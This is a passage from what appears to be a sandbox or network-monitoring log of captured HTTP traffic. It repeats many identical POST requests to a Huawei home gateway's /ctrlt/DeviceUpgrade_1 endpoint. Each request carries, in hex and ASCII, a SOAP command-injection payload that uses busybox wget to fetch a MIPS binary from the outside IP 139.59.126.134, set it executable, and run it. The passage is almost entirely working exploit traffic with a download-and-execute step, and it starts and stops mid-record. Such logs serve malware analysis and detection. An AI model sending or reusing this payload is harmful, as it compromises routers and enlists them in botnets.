3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo 